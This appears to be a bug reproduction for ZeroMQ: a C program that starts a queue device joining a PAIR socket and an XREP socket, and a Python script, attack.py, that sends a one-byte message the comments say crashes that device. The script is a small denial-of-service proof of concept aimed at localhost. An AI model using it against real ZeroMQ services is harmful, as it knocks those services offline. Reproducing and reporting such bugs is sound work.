attack.py

# Quick python script to send a single message to the PAIR socket
# this will crash the device

import zmq

ctx = zmq.Context()
s = ctx.socket(zmq.PAIR)
s.connect('tcp://127.0.0.1:5555')
s.send('invalid')

device.c

/*
This starts a simple Queue device, with XREP on one side, and PAIR on the other
A length 1 message to the PAIR socket will bring down the device.
This is true for any socket in place of the PAIR that doesn't prepend an IDENTITTY to
incoming messages.
It is also true for any device type.
*/

#include <assert.h>
#include <stdio.h>
#include <string.h>
#include <zmq.h>
 
int main () 
{
    int rc;
    void *ctx, *s, *xrep;
    
    /* Initialise 0MQ context, requesting a single I/O thread */
    ctx = zmq_init (1);
    assert (ctx);

    // start sockets
    s = zmq_socket (ctx, ZMQ_PAIR);
    assert (s);
    
    xrep = zmq_socket (ctx, ZMQ_XREP);
    assert(xrep);
    
    rc = zmq_bind (s, "tcp://127.0.0.1:5555");
    assert (rc == 0);
    rc = zmq_bind (xrep, "tcp://127.0.0.1:5556");
    assert (rc == 0);
    
    // create the device
    zmq_device(ZMQ_QUEUE, s, xrep);
    
}